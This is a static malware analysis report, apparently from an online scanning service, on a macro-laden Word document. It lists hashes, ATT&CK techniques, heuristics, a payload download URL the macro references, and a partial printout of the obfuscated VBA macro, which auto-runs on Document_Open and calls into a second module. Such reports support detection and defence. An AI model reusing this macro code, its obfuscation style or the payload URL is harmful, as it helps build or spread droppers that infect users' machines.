Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f20554e7306db820…

MALICIOUS

Office (OOXML)

162.7 KB Created: 2019-03-07 05:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: dc0d698c1901d695d4e62d3db90bc8ce SHA-1: b1ad64177f8deccea6d588bf3d889f3fab813019 SHA-256: f20554e7306db8201c662b8b86adf617508ec7ab3b0129c04f815fe7926b1ba5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro executes an obfuscated Shell command that decodes and likely downloads a second-stage payload from the string "mLqtqnUuirNmDEfAlvnxMnlPHrXuyJISdgUUnCbhNq". The presence of a Document_Open macro and a Shell() call strongly indicates malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://mfae.info/files/fresh/dunthur.msi Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 26239 bytes
SHA-256: fcab39401ace5f078e45b5010197842c2e4ce63d1d1bc20686bb23a21a23544a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call fuhkunvqdutrf
End Sub

Private Sub fuhkunvqdutrf()

Dim s34 As Object
Dim lqcnjwga As Date
Dim vramvkhwpnole
Dim fxmlsw
If 0 = 23 Then
Else
Dim vuizga

Dim pjuf As Object


End If
Dim flhvattzwi As Variant
Dim xuruyelejixtggem As Date



flhvattzwi = "mLqtqnUuirNmDEfAlvnxMnlPHrXuyJISdgUUnCbhNq"


Do While 907 < 2
   Select Case cfqkwxpinxgr
            Case "£¿åä", "?Æâê�Åá¿Ü¢�ç", "¬´Þä�Âï¶Î¢?î°¥Ñ"
                 rrexis = "?µÛߤ"
            Case "¢Èðó?ÄîÅØ¡?á®?ÐÖ", "?¼à"
                 suffix = "?¹éè?´ô"
            Case "¡Âèà?¹ô½Ú?�ñ¨?Ëå", "�¾èî ¸à¿Ú¤?"
                 preffix = "­ÉÞò ´äÉÞ¤?é"
            Case Else
                 reffix = "ckedpbhnryffa"
    End Select

Exit Do
Randomize
Loop

Dim joyeddvdvxosz As Variant
Dim bmopbrxuq As Date



joyeddvdvxosz = "mLqtqnUuirNmDEfAlvnxMnlPHrXuyJISdgUUnCbhNq"


Do While 331 < 5
   Select Case yyjnjhrjfukrk
            Case "?½èô�»ïÆЩ?", "¡ÀÝç?Àí¾Ô¡?", "«Çéà¤Áñ·Ò²�ê°¥Å"
                 rrexis = " µð"
            Case "¤Éñò", "?»Üò?Äߺ٢?é¬"
                 suffix = "­¿Ûâ¥Á"
            Case "?Àåç�ÁôÇÙ²", "?µóñ?³ãÊس "
                 preffix = " »ãä?´íÂϧ"
            Case Else
                 reffix = "fgomvqsb"
    End Select

Exit Do
Randomize
Loop

Dim ocyin As Variant
Dim momgjzftrikuyw As Date



ocyin = "mLqtqnUuirNmDEfAlvnxMnlPHrXuyJISdgUUnCbhNq"


Do While 189 < 6
   Select Case aelsngjrjhvvxety
            Case "«Âô", "§Ëôã?ÂãÆǪ?á?�Çì", "?»Þå"
                 rrexis = "ªºçë?·öÉÖ¯?ï"
            Case "«Èîð?°ì¶Î??ä©¡ÓÙ", "¦´ðä?¸ï½Õ²?é"
                 suffix = "¨´îé?¶íÃÍ �å"
            Case "­¿à꥽ÞÍà", "?Èòã ÈöÎÌ«?éª?É"
                 preffix = "?Äã÷¥³"
            Case Else
                 reffix = "hfnprjwoctipber"
    End Select

Exit Do
Randomize
Loop

Dim ssygijyjz As Variant
Dim igvul As Date



ssygijyjz = "mLqtqnUuirNmDEfAlvnxMnlPHrXuyJISdgUUnCbhNq"


Do While 708 < 6
   Select Case ulyqycnmhmr
            Case "£¶ðó?¸èÄÇ¥?î?£Ó", "�Áàâ", "?½ñò£"
                 rrexis = "?»òñ"
            Case "«²òí?ÃâÀÞ§?å©?ÑÛ", "?Âæç Æã¸Û"
                 suffix = "?¸òð?ÃâÊ˯?Þ?¦Í"
            Case "¥Áè줹ÞÌÖ¤?ð??Ã", "¦Éç"
                 preffix = "?Âë奸æµÔ"
            Case Else
                 reffix = "jlduc"
    End Select

Exit Do
Randomize
Loop





If 88.2 = 22.2 Then
Else
Dim omdkhplvrhgo As String
omdkhplvrhgo = "."
End If
If 9 = 8 Then
Dim rrxwc
Else
Dim rbnvwayfhwnwxop

Dim vrhgtigzsnehunp As String
vrhgtigzsnehunp = "BElgiFJ"

Dim ukq As String
ukq = "YGljeyYL"



Application.Run vrhgtigzsnehunp & omdkhplvrhgo & ukq

End If





Dim lbcbsnrbxh

Dim takuzonk

End Sub




Attribute VB_Name = "BElgiFJ"
Const dqfmg = 40873110
Const xbmmy = 136
Const xqoqjwxtjxvbd = 53

#If VBA7 Then

#Else

#End If

#If VBA7 Then
Private Declare PtrSafe Function majweqohk Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function gzs Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function eiombxykbcd Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function kpkxinxaz Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function cplaxdjmy Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function bnezpcyvbmbcy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare  Function majweqohk Lib "user32"
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 61952 bytes
SHA-256: 4c1316b4c938643d621d91e2d28d309c42a55d17e1ba195ebd32395a83a5fa77

Open this report in the interactive analyzer, or submit your own file for analysis.